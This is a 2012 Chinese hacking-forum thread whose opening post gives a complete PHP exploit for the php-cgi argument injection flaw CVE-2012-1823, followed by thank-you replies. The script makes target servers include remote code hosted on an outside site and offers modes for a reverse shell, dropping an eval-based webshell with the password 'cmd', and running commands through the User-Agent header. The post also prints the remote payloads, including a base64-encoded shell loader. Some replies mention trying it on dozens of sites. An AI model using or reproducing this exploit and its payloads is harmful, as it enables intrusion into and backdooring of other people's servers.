# PHP CGI Argument Injection Exploit CVE-2012-1823

**URL:** <https://forum.90sec.com/t/topic/3543>\
**Category:** 代码审计\
**Created:** [2012 年5 月 5 日 17:49 UTC](https://forum.90sec.com/t/topic/3543 "2012-05-05T17:49:27Z")\
**Posts on this page:** 20\
**Page:** 1

<div class="post-metadata">

作者： ![cfking](https://forum.90sec.com/letter_avatar_proxy/v4/letter/c/3da27b/32.png) [@cfking](https://forum.90sec.com/u/cfking)\
发布日期： [2012 年5 月 5 日 17:49 UTC](https://forum.90sec.com/t/topic/3543/1 "2012-05-05T17:49:27Z")

</div>

```php
<?php 
/*
*PHP CGI Argument Injection Exploit CVE-2012-1823
*by:cfking
*bbs:www.90sec.org
*/
set_time_limit(0);

$help='
[>] php-cgi Remote code Execution Exploit CVE-2012-1823
[>] by:cfking@90sec.org
[>] Usage: php '.$argv[0].' host index.php <1/2/3> <ip/Command> <port>
[>] Example: php '.$argv[0].' 127.0.0.1 / 2
';

if($argc<4)exit($help);
print_r ('
[>] PHP CGI Argument Injection Exploit CVE-2012-1823
[>] by:cfking@90sec.org');
$host=$argv[1];
$filename=$argv[2];

if($argv[3]=='1'){
$port=$argv[5]? $argv[5]:4444;

if(!$argv[4])exit("\n[-] Please enter IP and PORT\n");
print "\n[+] Bindshell IP $argv[4] PORT $port\n";
$payload=$argv[4].':'.$port;
$target='http://www.cj360.cn/plus/cmd.php';
}

if($argv[3]=='2'){
print "\n[+] Upload backdoor test.php\n";
$payload='';
$target='http://www.cj360.cn/plus/cmd.txt';
}

if($argv[3]=='3'){
if(!$argv[4])exit("\n[-] Please enter Command\n");
print "\n[+] Command $argv[4]\n";
$payload=$argv[4];
$target='http://www.cj360.cn/plus/cmds.txt';
}

ob_start(); 
$sock = fsockopen($host, 80, $errno, $errstr, 30);
if (!$sock) die("$errstr ($errno)\n");

fwrite($sock, "GET /$filename?-d+allow_url_include%3don+-d+auto_prepend_file%3d$target+-d+disable_functions%3doff HTTP/1.1\r\n");
fwrite($sock, "User-Agent: $payload\r\n");
fwrite($sock, "Host: $host\r\n\r\n");

$headers = "";
while ($str = trim(fgets($sock, 4096)))
     $headers .= "$str\n";
echo "\n";
$body = "";
while (!feof($sock))
     $body .= fgets($sock, 4096);

fclose($sock);

echo $body;
ob_end_flush();

?>

```

[by:cfking@90sec.org](mailto:by:cfking@90sec.org)  
[by:cfking@90sec.org](mailto:by:cfking@90sec.org)  
[http://www.cj360.cn/plus/cmd.php](http://www.cj360.cn/plus/cmd.php)  
[http://www.cj360.cn/plus/cmd.txt](http://www.cj360.cn/plus/cmd.txt)  
[http://www.cj360.cn/plus/cmds.txt](http://www.cj360.cn/plus/cmds.txt)  

都是调用的远程代码 貌似php://input 会导致500错误 所以就用直接用远程包含了  
\<1/2/3\> \<ip/Command\> \<port\> 参数说明  
1 表示反弹一个cmdshell回来 所有面需要写 IP 以及端口 2 表示直接上传一个一句话 密码为cmd 在当前目录下文件名是test.php 3 表示执行系统命令 所以需要再加上一个参数 就是命令咯

执行如图：  
[20120506014241.jpg](https://forum.90sec.com/discuz-migration/attachments/05e8baa47cf1036f9b054f1a45677149d20493246343248db9f4ec288df5f020)  
这个里面显示no socket 表示没有成功 Sorry. 哦对了反弹shell需要用nc监听的哦 默认端口是4444

[20120506014242.jpg](https://forum.90sec.com/discuz-migration/attachments/471c11c245a4ec45c304d2ffb05c1168438590601389deec0903b1ae6be4ad9a)

webshell Write successful 提示上传成功。耶耶耶...

[20120506014243.jpg](https://forum.90sec.com/discuz-migration/attachments/3bc156fbebb42356f9c945b7775d09a49f56e14e2565d0f7c0d910e1df70f145)

Linux [1402.gzonet.com](http://1402.gzonet.com) 2.6.9-22.ELsmp #1 SMP Mon Sep 19 18:32:14 EDT 2005 i686 i6  
86 i386 GNU/Linux 命令执行成功 耶耶耶。。。。

哦对了我这里是用的远程包含的方式执行的这些功能所以默认的话我用一个shell上传的各种脚本  
我也一起打包发上来吧 大家可以自己修改代码里面的URI

Bindshell 的接口：

```php
<?php 
$target='PD9waHAgZXJyb3Jfc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RiKSA8ICRsZW4pIHsJc3dpdGNoICgkc190eXBlKSB7IAljYXNlICdzdHJlYW0nOiAkYiAuPSBmcmVhZCgkcywgJGxlbi1zdHJsZW4oJGIpKTsgYnJlYWs7CWNhc2UgJ3NvY2tldCc6ICRiIC49IHNvY2tldF9yZWFkKCRzLCAkbGVuLXN0cmxlbigkYikpOyBicmVhazsJfX0kR0xPQkFMU1snbXNnc29jayddID0gJHM7JEdMT0JBTFNbJ21zZ3NvY2tfdHlwZSddID0gJHNfdHlwZTtldmFsKCRiKTtkaWUoKTsgZXhpdDs/Pg==';
echo $code=base64_decode($target);
?>

```

这个大家可以base64解密后直接保存txt

写入一句话webshell的接口：

```php
<?php
$file = fopen("test.php","w");
fwrite($file,'<?php eval($_POST[\'cmd\'])?>');
fclose($file);
echo "webshell Write successful";
exit;
?>

```

命令执行的接口：

```php
<?php
system($_SERVER["HTTP_USER_AGENT"]);
exit;
?>

```

---

<div class="post-metadata">

作者： ![cfking](https://forum.90sec.com/letter_avatar_proxy/v4/letter/c/3da27b/32.png) [@cfking](https://forum.90sec.com/u/cfking)\
发布日期： [2012 年5 月 5 日 17:49 UTC](https://forum.90sec.com/t/topic/3543/2 "2012-05-05T17:49:53Z")

</div>

马赛克没有弄好，老天处罚我吧

---

<div class="post-metadata">

作者： ![xiaoxu](https://forum.90sec.com/user_avatar/forum.90sec.com/xiaoxu/32/11402_2.png) [@xiaoxu](https://forum.90sec.com/u/xiaoxu)\
发布日期： [2012 年5 月 5 日 18:42 UTC](https://forum.90sec.com/t/topic/3543/3 "2012-05-05T18:42:47Z")

</div>

那么晚了 还在 真辛苦 谢谢~

---

<div class="post-metadata">

作者： ![Afrione](https://forum.90sec.com/letter_avatar_proxy/v4/letter/a/f9ae1b/32.png) [@Afrione](https://forum.90sec.com/u/Afrione)\
发布日期： [2012 年5 月 5 日 19:45 UTC](https://forum.90sec.com/t/topic/3543/4 "2012-05-05T19:45:41Z")

</div>

我整理了下 让文章更好普及 有不懂的来这里看

[http://user.qzone.qq.com/862008584/infocenter#!app=2&pos=1336246711](http://user.qzone.qq.com/862008584/infocenter#!app=2&pos=1336246711)\*\*\*\*

---

<div class="post-metadata">

作者： ![ayiis](https://forum.90sec.com/letter_avatar_proxy/v4/letter/a/ebca7d/32.png) [@ayiis](https://forum.90sec.com/u/ayiis)\
发布日期： [2012 年5 月 5 日 20:00 UTC](https://forum.90sec.com/t/topic/3543/5 "2012-05-05T20:00:08Z")

</div>

_本帖最后由 Ayiis 于 2012-5-6 04:01 编辑_

\*\*回复 [4#](http://www.90sec.org/redirect.php?goto=findpost&pid=25463&ptid=2279) _keio_ \*\*

```
这。。很好

```

---

<div class="post-metadata">

作者： ![user48](https://forum.90sec.com/letter_avatar_proxy/v4/letter/u/bc8723/32.png) [@user48](https://forum.90sec.com/u/user48)\
发布日期： [2012 年5 月 5 日 22:36 UTC](https://forum.90sec.com/t/topic/3543/6 "2012-05-05T22:36:31Z")

</div>

我的妈，大黑客们什么时候研究出来的

---

<div class="post-metadata">

作者： ![user61](https://forum.90sec.com/letter_avatar_proxy/v4/letter/u/c37758/32.png) [@user61](https://forum.90sec.com/u/user61)\
发布日期： [2012 年5 月 6 日 01:05 UTC](https://forum.90sec.com/t/topic/3543/7 "2012-05-06T01:05:39Z")

</div>

\*\*回复 [4#](http://www.90sec.org/redirect.php?goto=findpost&pid=25463&ptid=2279) _keio_ \*\*

```
感谢！

```

---

<div class="post-metadata">

作者： ![qhkest](https://forum.90sec.com/user_avatar/forum.90sec.com/qhkest/32/11347_2.png) [@qhkest](https://forum.90sec.com/u/qhkest)\
发布日期： [2012 年5 月 6 日 02:10 UTC](https://forum.90sec.com/t/topic/3543/8 "2012-05-06T02:10:33Z")

</div>

不错啊。呵呵。

---

<div class="post-metadata">

作者： ![null\_90sec](https://forum.90sec.com/letter_avatar_proxy/v4/letter/n/df705f/32.png) [@null\_90sec](https://forum.90sec.com/u/null_90sec)\
发布日期： [2012 年5 月 6 日 03:36 UTC](https://forum.90sec.com/t/topic/3543/9 "2012-05-06T03:36:56Z")

</div>

这个不错 ~~~~~~ 。。。。

---

<div class="post-metadata">

作者： ![user65](https://forum.90sec.com/user_avatar/forum.90sec.com/user65/32/11443_2.png) [@user65](https://forum.90sec.com/u/user65)\
发布日期： [2012 年5 月 6 日 03:40 UTC](https://forum.90sec.com/t/topic/3543/10 "2012-05-06T03:40:51Z")

</div>

测试了几十个 没个行的 我想知道这个是怎样判断有没有洞~

---

<div class="post-metadata">

作者： ![Ni4ht](https://forum.90sec.com/user_avatar/forum.90sec.com/ni4ht/32/11391_2.png) [@Ni4ht](https://forum.90sec.com/u/Ni4ht)\
发布日期： [2012 年5 月 6 日 03:59 UTC](https://forum.90sec.com/t/topic/3543/11 "2012-05-06T03:59:16Z")

</div>

不错，支持.......

---

<div class="post-metadata">

作者： ![798146410](https://forum.90sec.com/letter_avatar_proxy/v4/letter/7/43a26b/32.png) [@798146410](https://forum.90sec.com/u/798146410)\
发布日期： [2012 年5 月 6 日 06:02 UTC](https://forum.90sec.com/t/topic/3543/12 "2012-05-06T06:02:05Z")

</div>

感谢啊。。。虽然看不懂，。。。。原理。。落叶牛什么时候讲讲有关的原理啊。

---

<div class="post-metadata">

作者： ![heike8231](https://forum.90sec.com/letter_avatar_proxy/v4/letter/h/c77e96/32.png) [@heike8231](https://forum.90sec.com/u/heike8231)\
发布日期： [2012 年5 月 6 日 07:05 UTC](https://forum.90sec.com/t/topic/3543/13 "2012-05-06T07:05:57Z")

</div>

什么样的站才有那样的洞

---

<div class="post-metadata">

作者： ![ih4ck](https://forum.90sec.com/letter_avatar_proxy/v4/letter/i/bc79bd/32.png) [@ih4ck](https://forum.90sec.com/u/ih4ck)\
发布日期： [2012 年5 月 6 日 08:05 UTC](https://forum.90sec.com/t/topic/3543/14 "2012-05-06T08:05:54Z")

</div>

测试成功了 不错 再去研究下细节

---

<div class="post-metadata">

作者： ![iamtang3](https://forum.90sec.com/letter_avatar_proxy/v4/letter/i/bcef8e/32.png) [@iamtang3](https://forum.90sec.com/u/iamtang3)\
发布日期： [2012 年5 月 7 日 03:08 UTC](https://forum.90sec.com/t/topic/3543/15 "2012-05-07T03:08:15Z")

</div>

\*\*回复 [6#](http://www.90sec.org/redirect.php?goto=findpost&pid=25467&ptid=2279) _自由暗黑_ \*\*

```
国外上周三出的原版，国内周五就出了分析了，我们的反应其实是很快的{:4_63:}

```

---

<div class="post-metadata">

作者： ![z26811](https://forum.90sec.com/letter_avatar_proxy/v4/letter/z/779978/32.png) [@z26811](https://forum.90sec.com/u/z26811)\
发布日期： [2012 年5 月 7 日 16:55 UTC](https://forum.90sec.com/t/topic/3543/16 "2012-05-07T16:55:12Z")

</div>

\*\*回复 [4#](http://www.90sec.org/redirect.php?goto=findpost&pid=25463&ptid=2279) _keio_ \*\*

```
你妹的 空间的歌曲是什么名字哦 貌似不错

```

---

<div class="post-metadata">

作者： ![Afrione](https://forum.90sec.com/letter_avatar_proxy/v4/letter/a/f9ae1b/32.png) [@Afrione](https://forum.90sec.com/u/Afrione)\
发布日期： [2012 年5 月 7 日 23:04 UTC](https://forum.90sec.com/t/topic/3543/17 "2012-05-07T23:04:31Z")

</div>

\*\*回复 [16#](http://www.90sec.org/redirect.php?goto=findpost&pid=25569&ptid=2279) _z2681_ \*\*

```
李健的 向往

```

---

<div class="post-metadata">

作者： ![hackqing](https://forum.90sec.com/letter_avatar_proxy/v4/letter/h/b2d939/32.png) [@hackqing](https://forum.90sec.com/u/hackqing)\
发布日期： [2012 年5 月 8 日 00:19 UTC](https://forum.90sec.com/t/topic/3543/18 "2012-05-08T00:19:05Z")

</div>

很好，支持！谢谢分享

---

<div class="post-metadata">

作者： ![user40](https://forum.90sec.com/user_avatar/forum.90sec.com/user40/32/11393_2.png) [@user40](https://forum.90sec.com/u/user40)\
发布日期： [2012 年5 月 8 日 03:33 UTC](https://forum.90sec.com/t/topic/3543/19 "2012-05-08T03:33:16Z")

</div>

{:4\_06:}{:4\_06:}我等小菜还需努力追赶大黑阔们的步伐呀 ！

---

<div class="post-metadata">

作者： ![zyq8709](https://forum.90sec.com/user_avatar/forum.90sec.com/zyq8709/32/11658_2.png) [@zyq8709](https://forum.90sec.com/u/zyq8709)\
发布日期： [2012 年5 月 8 日 12:16 UTC](https://forum.90sec.com/t/topic/3543/20 "2012-05-08T12:16:29Z")

</div>

好文章，一定要好好学学

[下一页](https://forum.90sec.com/t/topic/3543.md?page=2)
